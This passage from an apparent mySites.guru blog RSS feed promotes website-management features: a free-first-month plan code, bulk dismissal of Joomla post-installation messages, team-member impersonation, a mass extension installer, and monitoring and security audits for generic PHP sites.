</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>joomla 3</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-10.DY15Sc6F.webp" length="0" type="image/webp"/></item><item><title>How to get mySites.guru for free - for a whole month!</title><link>https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/</guid><description>Sign up for any mySites.guru subscription and cancel before the end of your first month to use the full service completely free for 30 days.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru costs &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99/month&lt;/a&gt;, the same price since 2012, with no per-site fees. But I&apos;d rather you try it properly before paying anything.&lt;/p&gt;
&lt;p&gt;The free trial only covers a single audit of one site. A few of you have asked for a way to test the rest of it: bulk updates, security scans, uptime monitoring, backups. Those are the basics, but &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;real site management covers a lot more&lt;/a&gt;. So here it is.&lt;/p&gt;
&lt;p&gt;Use this plan code when you subscribe and you won&apos;t be charged until next month. Full access, unlimited sites, everything included.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 flex justify-center&quot;&amp;gt;
&amp;lt;a href=&quot;https://manage.mysites.guru/en/subscription/plans?plancode=FIRSTMONTHFREE&quot; class=&quot;inline-flex items-center gap-2 rounded-lg border-2 border-dashed border-green-500 bg-green-50 px-6 py-3 font-mono text-lg font-bold tracking-wider text-green-800 no-underline transition hover:bg-green-100 dark:border-green-400 dark:bg-green-950 dark:text-green-200 dark:hover:bg-green-900&quot;&amp;gt;
✂️ FIRSTMONTHFREE
&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;You are starting an auto-renewing subscription though. You&apos;ll need to enter payment details.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-blue-200 bg-blue-50 p-4 text-sm text-blue-900 dark:border-blue-800 dark:bg-blue-950 dark:text-blue-200&quot;&amp;gt;
&amp;lt;strong&amp;gt;No risk:&amp;lt;/strong&amp;gt; Cancel before your renewal date and you won&apos;t be charged a penny. If you don&apos;t cancel, your subscription renews at the standard rate of £19.99/month.
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Steps to get started:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;mySites.guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Go to the Subscribe page&lt;/li&gt;
&lt;li&gt;Enter the plan code &amp;lt;code class=&quot;rounded border border-dashed border-green-500 bg-green-50 px-2 py-0.5 font-mono font-bold text-green-800 dark:border-green-400 dark:bg-green-950 dark:text-green-200&quot;&amp;gt;FIRSTMONTHFREE&amp;lt;/code&amp;gt; and click &lt;strong&gt;Apply Code&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Review the proposed plan&lt;/li&gt;
&lt;li&gt;Click &lt;a href=&quot;https://manage.mysites.guru/en/subscribe?plancode=FIRSTMONTHFREE&quot;&gt;Subscribe now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Enter your payment card details&lt;/li&gt;
&lt;li&gt;Done - welcome on board!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Questions? Drop me a line at &lt;a href=&quot;mailto:phil@phil-taylor.com&quot;&gt;phil@phil-taylor.com&lt;/a&gt; and I&apos;ll get back to you quickly.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>pricing</category><category>free trial</category><enclosure url="https://mysites.guru/_astro/firstmonthfree.BCn5A5MG.webp" length="0" type="image/webp"/></item><item><title>How to Hide Joomla Post Installation Messages</title><link>https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/</guid><description>Dismiss Joomla post-installation messages on every connected site at once using the mySites.guru bulk action - no need to log into each site individually.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla&apos;s &lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Help39:Components_Post_installation_Messages&quot;&gt;Post Installation Messages&lt;/a&gt;&lt;/strong&gt; are useful on one site. When you&apos;re &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;managing thousands of Joomla sites&lt;/a&gt;, clearing them one by one gets old fast. mySites.guru lets you dismiss them across all your sites at once.&lt;/p&gt;
&lt;h2&gt;What is a Joomla Post Installation Message?&lt;/h2&gt;
&lt;p&gt;Joomla 3.2 added a feature called &quot;&lt;a href=&quot;https://docs.joomla.org/Help39:Components_Post_installation_Messages&quot;&gt;Post Installation Messages&lt;/a&gt;&quot;.&lt;/p&gt;
&lt;p&gt;Post Installation Messages are used by the Joomla Project - and some extension developers - to convey important information to you after upgrading your Joomla Site or installing a Joomla extension.&lt;/p&gt;
&lt;p&gt;In the past they have been used to bring your attention to backward incompatible security changes, changes you need to manually make to your .htaccess, advice to enabled Two factor authentication etc...&lt;/p&gt;
&lt;p&gt;The messages are often dynamic and can make checks before showing. For example the Two Factor Authentication Post Installation Message will check to see if you have the plugins enabled before being shown.&lt;/p&gt;
&lt;p&gt;The idea is that you are meant to read, consume, understand and apply any suggestions in the Post Installation Messages - and then click to hide them forever (they remain in the database and can be &quot;reverted&quot; to show them again.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What Happens When You Have 1000 Sites?&lt;/h2&gt;
&lt;p&gt;When you have &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;1000 Joomla sites to manage&lt;/a&gt;, visiting each one to clear the same messages after every update is impractical.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; already has tools to allow you to &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;manage 1000s of Joomla sites in one place&lt;/a&gt;, to &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup&lt;/a&gt;, to &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;snapshot&lt;/a&gt; and to &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacks&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; - and one of those tools will show you how many Post Installation Messages are unread.&lt;/p&gt;
&lt;p&gt;One of our tools will list your sites by this metric:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;As you can see this account has loads of unread Post Installation Messages across many sites.&lt;/p&gt;
&lt;h2&gt;How Do You Dismiss Them All in One Click?&lt;/h2&gt;
&lt;p&gt;Click the green button:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;A few seconds later, all Post Installation Messages are cleared on every site:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Where do I find this?&lt;/h2&gt;
&lt;p&gt;You need a mySites.guru subscription. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Pricing&lt;/a&gt; hasn&apos;t changed since 2012, and you can get your &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;first month free&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once you&apos;re a subscriber, &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add your Joomla sites to your dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Then, from the Manage Site page, find the Joomla Post Installation Messages tool:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;and then click on the Pivot Button that looks like this:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This was one of our most requested features after we started tracking this metric in the mySites.guru snapshot.&lt;/p&gt;
&lt;p&gt;Post Installation Messages are genuinely useful - on the first site. After that, you&apos;ve read them, and they&apos;re essentially identical across all your sites. Joomla 4 made this worse by showing the alert on &lt;strong&gt;every page&lt;/strong&gt; of the admin:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;mySites.guru clears the flag across &lt;strong&gt;all your sites at once&lt;/strong&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk Joomla admin tasks are part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>site management</category><category>bulk actions</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-14.Cdtr4XFK.webp" length="0" type="image/webp"/></item><item><title>How to impersonate your mySites.guru team members</title><link>https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/</guid><description>Account owners can impersonate any team member inside mySites.guru to review their view and permissions without needing to share passwords.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After announcing &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Team Management for mySites.guru&lt;/a&gt;, we added impersonation - one of the most useful features for account owners running a team.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As the Team Captain (the person paying!) &lt;strong&gt;You can now Impersonate your Team Members&lt;/strong&gt;, logging in as them, without their credentials, to access their account and see what they are seeing, then &lt;strong&gt;Exit Impersonation&lt;/strong&gt; back to your own account without any login/logout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Find out more by watching this introduction video by &lt;a href=&quot;https://twitter.com/basicjoomla&quot;&gt;Tim&lt;/a&gt; on his &lt;a href=&quot;https://www.youtube.com/channel/UCjdzrGX4xpJ_9PAfUuNDC4A&quot;&gt;Basic Joomla Tutorials Channel&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/3z1xGCJyDjI&quot; title=&quot;Impersonate team members in mySites.guru&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;For a deeper look at Teams Management, watch this video by Tim:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/gKDoH63uJFo&quot; title=&quot;mySites.guru Teams Management deep dive&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Team tools like this are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>teams</category><category>site management</category><category>workflow</category><enclosure url="https://mysites.guru/_astro/how-to-impersonate-your-mysites-guru-team-members.CQsbFaZT.png" length="0" type="image/png"/></item><item><title>Install Extensions to Multiple Joomla Sites</title><link>https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/</guid><description>Push a Joomla extension install to hundreds of sites simultaneously from the mySites.guru dashboard, with full success and failure notifications per site.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru Mass Installer Tool installs an extension across multiple Joomla (or WordPress) sites in one go, so you don&apos;t have to log into each one.&lt;/p&gt;
&lt;h2&gt;What Is the Mass Plugin Installer for Joomla and WordPress?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/@Basicjoomla&quot;&gt;Tim Davis of Basic Joomla&lt;/a&gt; walks through the tool in this video:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/YHgTJ2DYOe8&quot; title=&quot;Mass install Joomla extensions with mySites.guru&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;ℹ️ Interface update&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;This video was filmed before the February 2024 interface refresh. Some screens and menus may look different, but the workflow is the same.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How Do You Install or Update a Joomla Extension?&lt;/h2&gt;
&lt;p&gt;You can use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;mass install a Joomla extension&lt;/a&gt; zip file to hundreds of your connected sites right from your dashboard.&lt;/p&gt;
&lt;h2&gt;How Do You Install a WordPress Plugin Across All Your Sites?&lt;/h2&gt;
&lt;p&gt;Same tool, same workflow. Select your &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;connected WordPress sites&lt;/a&gt;, upload a plugin zip or paste a URL, and you&apos;re done.&lt;/p&gt;
&lt;h2&gt;Steps to mass install a plugin or extension&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt; - Upload a plugin zip file or provide the URL you want to install from.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; - Select the sites you want to install to. You can pick individual sites or select all connected sites at once.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Results per site&lt;/h2&gt;
&lt;p&gt;mySites.guru installs the plugin on all selected sites with no further interaction needed. You&apos;ll get a per-site report showing which installs succeeded and which need attention.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;When Should You Use the Mass Installer?&lt;/h2&gt;
&lt;p&gt;The obvious case is deploying the same extension everywhere, but there are a few scenarios where it really pays off:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Emergency security patches: a critical vulnerability drops and you need every site patched before someone exploits it. Doing this one site at a time when you manage 50+ sites isn&apos;t realistic. The &lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;Joomla TinyMCE Firefox 148 bug&lt;/a&gt; is a perfect example - one hotfix package pushed to every affected site in minutes.&lt;/li&gt;
&lt;li&gt;Rolling out a custom plugin: if you maintain a bespoke plugin for client sites, the mass installer is the fastest way to push a new version.&lt;/li&gt;
&lt;li&gt;Standardising your stack: moving all clients onto the same backup plugin or security tool? Upload the zip once and push it everywhere.&lt;/li&gt;
&lt;li&gt;Replacing a deprecated extension: when a plugin gets abandoned or delisted, you can mass-install the replacement across every affected site in one batch.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can You Install by URL or Zip File?&lt;/h2&gt;
&lt;p&gt;You can either upload a zip file directly or paste a URL that points to one. The URL option is handy when the extension host provides a direct download link - you don&apos;t need to download it to your machine first.&lt;/p&gt;
&lt;p&gt;For Joomla extensions, this works with anything you&apos;d normally install through the Joomla Extension Manager: components, plugins, modules, templates, and language packs. For WordPress, it handles any standard plugin zip.&lt;/p&gt;
&lt;h2&gt;How Do You Filter Sites Before You Install?&lt;/h2&gt;
&lt;p&gt;You don&apos;t always want to install to every connected site. The mass installer lets you pick individual sites from your list, but there&apos;s a quicker way if you&apos;re targeting a specific group.&lt;/p&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;Extensions management feature&lt;/a&gt; to search for sites that already have a particular extension installed. For example, if you want to update Akeeba Backup on every site that already has it, search for &quot;Akeeba&quot; in the extensions list, then click &quot;filter by these&quot; - the mass installer pre-selects only those sites.&lt;/p&gt;
&lt;p&gt;This is particularly useful when you&apos;re updating rather than doing a fresh install. No point pushing a plugin to sites that don&apos;t use it.&lt;/p&gt;
&lt;h2&gt;What happens if an install fails?&lt;/h2&gt;
&lt;p&gt;mySites.guru reports back per site. If a site is unreachable, has permissions issues, or the install itself errors out, you&apos;ll see it in the results. The other installs aren&apos;t affected - each site is processed independently.&lt;/p&gt;
&lt;p&gt;Common reasons for failures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Site is offline or unreachable at the time of install&lt;/li&gt;
&lt;li&gt;PHP memory or execution time limits too low for the package size&lt;/li&gt;
&lt;li&gt;File permissions preventing writes to the plugin directory&lt;/li&gt;
&lt;li&gt;The site&apos;s connection to mySites.guru has expired and needs reconnecting&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can retry failed sites individually or run the mass install again with just those sites selected.&lt;/p&gt;
&lt;h2&gt;Combining mass installs with bulk updates&lt;/h2&gt;
&lt;p&gt;The mass installer and &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk updates&lt;/a&gt; solve different problems. Bulk updates handle version upgrades for extensions already installed on your sites. The mass installer pushes a specific zip to sites that may not have the extension at all.&lt;/p&gt;
&lt;p&gt;A typical workflow: use the mass installer to deploy a new extension across your portfolio, then use bulk updates going forward to keep it current as new versions come out.&lt;/p&gt;
&lt;h2&gt;Supported platforms&lt;/h2&gt;
&lt;p&gt;The mass installer works with both Joomla and WordPress sites connected to mySites.guru. There&apos;s no limit on how many sites you can target in a single batch - if you&apos;ve got 500 sites connected, you can install to all 500 at once.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free site audit&lt;/a&gt; to connect your first site and try the mass installer yourself.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk extension deployment is a key workflow in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>extensions</category><category>bulk actions</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-8.03nRPytu.webp" length="0" type="image/webp"/></item><item><title>Manage and Monitor Any PHP App with mySites.guru</title><link>https://mysites.guru/blog/how-to-manage-and-monitor-any-php-application-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-manage-and-monitor-any-php-application-with-mysites-guru/</guid><description>The mySites app works with any PHP-based web application, not just WordPress and Joomla. Connect any PHP site to get security audits, snapshots, and alerts.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru isn&apos;t just for Joomla and WordPress. You can add, manage, audit, back up and monitor &lt;strong&gt;any webspace that can run PHP&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is best known for helping agencies and developers &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;manage multiple Joomla and WordPress sites&lt;/a&gt;, with &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;over 80,000 sites already connected&lt;/a&gt;. But the same toolset works for any PHP application. Drupal, Prestashop, Magento, Laravel, custom-built apps - if it runs PHP, you can connect it.&lt;/p&gt;
&lt;p&gt;That means you get the full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; capabilities across every site in your portfolio, no matter what CMS it runs.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How do you connect a generic PHP site?&lt;/h2&gt;
&lt;p&gt;Using the &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;connect-another-site wizard&lt;/a&gt;, select the Generic PHP option and download the connector. Upload it to the &lt;code&gt;/bfnetwork&lt;/code&gt; directory on your server.&lt;/p&gt;
&lt;p&gt;You then provide database credentials (mySites.guru uses a database table to store the audit cache) and you&apos;re connected.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Once connected, your generic PHP site appears alongside your Joomla and WordPress sites in the same dashboard. You manage everything from one place.&lt;/p&gt;
&lt;h2&gt;What tools work with generic PHP sites?&lt;/h2&gt;
&lt;p&gt;You get the same toolset you&apos;d get with a Joomla or WordPress site. Nothing is cut down or restricted.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; collects server details, PHP configuration, disk usage, and database stats. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;full security audit&lt;/a&gt; scans every line of every file in your webspace looking for hacks and malicious code. The &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;suspect content tools&lt;/a&gt; flag anything suspicious and let you view, edit, or delete flagged files directly.&lt;/p&gt;
&lt;p&gt;You can also connect &lt;a href=&quot;https://www.akeeba.com/products/akeeba-solo.html&quot;&gt;Akeeba Backup Solo&lt;/a&gt; and use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;trigger periodic backups&lt;/a&gt; of your webspace. With the Professional version, you can push those backups to remote storage like Dropbox or sFTP.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Is uptime monitoring included for free?&lt;/h2&gt;
&lt;p&gt;Every site you add to mySites.guru gets &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;free uptime monitoring&lt;/a&gt; powered by our own monitoring engine. No third-party service, no extra cost.&lt;/p&gt;
&lt;p&gt;mySites.guru alerts you when your site goes offline and again when it comes back. If you ever get an alert but the site loads fine for you, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;here&apos;s why that happens&lt;/a&gt;. Response times are logged so you can spot performance trends and catch problems before your users do.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do backups work with Akeeba Backup Solo?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt; is well known in the Joomla world, but the same backup engine is available as a standalone product called &lt;a href=&quot;https://www.akeeba.com/products/akeeba-solo.html&quot;&gt;Akeeba Backup Solo&lt;/a&gt;. It works on any PHP webspace, no CMS required.&lt;/p&gt;
&lt;p&gt;Once installed, mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule and trigger backups&lt;/a&gt; on whatever interval you need. Daily, weekly, or tied to specific events. The Professional edition adds remote push to Dropbox, Amazon S3, sFTP, and other storage backends.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do security audits work for any PHP application?&lt;/h2&gt;
&lt;p&gt;The security audit is where mySites.guru really earns its keep on generic PHP sites. Most security tools are built for WordPress or Joomla specifically. They know what core files should look like and flag changes. But what about a Laravel app, a custom CMS, or a legacy PHP codebase? Those don&apos;t have a &quot;core&quot; to compare against.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s audit doesn&apos;t rely on knowing your CMS. It scans every file in your webspace and looks for patterns that indicate malicious code: base64-encoded payloads, eval statements, obfuscated variables, known backdoor signatures, and more. If someone has injected code into any file on your server, the audit will flag it.&lt;/p&gt;
&lt;p&gt;You can also set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerts&lt;/a&gt; on critical files. If anything changes, you get an email immediately.&lt;/p&gt;
&lt;h2&gt;What types of PHP applications work?&lt;/h2&gt;
&lt;p&gt;Anything that runs on a standard PHP hosting environment. Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Drupal&lt;/strong&gt; - full audit and backup support, uptime monitoring&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prestashop&lt;/strong&gt; - scan your e-commerce files for injected payment skimmers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Magento / Adobe Commerce&lt;/strong&gt; - monitor a complex codebase for unauthorized changes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Laravel&lt;/strong&gt; - audit deployed applications alongside your WordPress and Joomla sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Custom PHP applications&lt;/strong&gt; - legacy systems, bespoke CRMs, internal tools&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Static sites with PHP contact forms&lt;/strong&gt; - even minimal PHP sites benefit from file monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The connector doesn&apos;t care what framework you use. It just needs PHP and a database connection for caching.&lt;/p&gt;
&lt;h2&gt;How do you manage a mixed portfolio?&lt;/h2&gt;
&lt;p&gt;Most agencies don&apos;t run a single CMS. You&apos;ve got clients on WordPress, a few legacy Joomla sites, maybe a custom Laravel app for an internal tool, and a Drupal site that nobody wants to touch.&lt;/p&gt;
&lt;p&gt;Before mySites.guru, that meant separate dashboards, separate monitoring tools, and separate backup workflows for each platform. Now everything lives in one place.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; flag common configuration problems across all your sites. PHP version too old? Debug mode left on? Weak file permissions? You&apos;ll see it for your generic PHP sites the same way you see it for WordPress and Joomla.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;Connecting your first generic PHP site takes a few minutes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to mySites.guru and use the &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;connect-another-site wizard&lt;/a&gt;&lt;/li&gt;
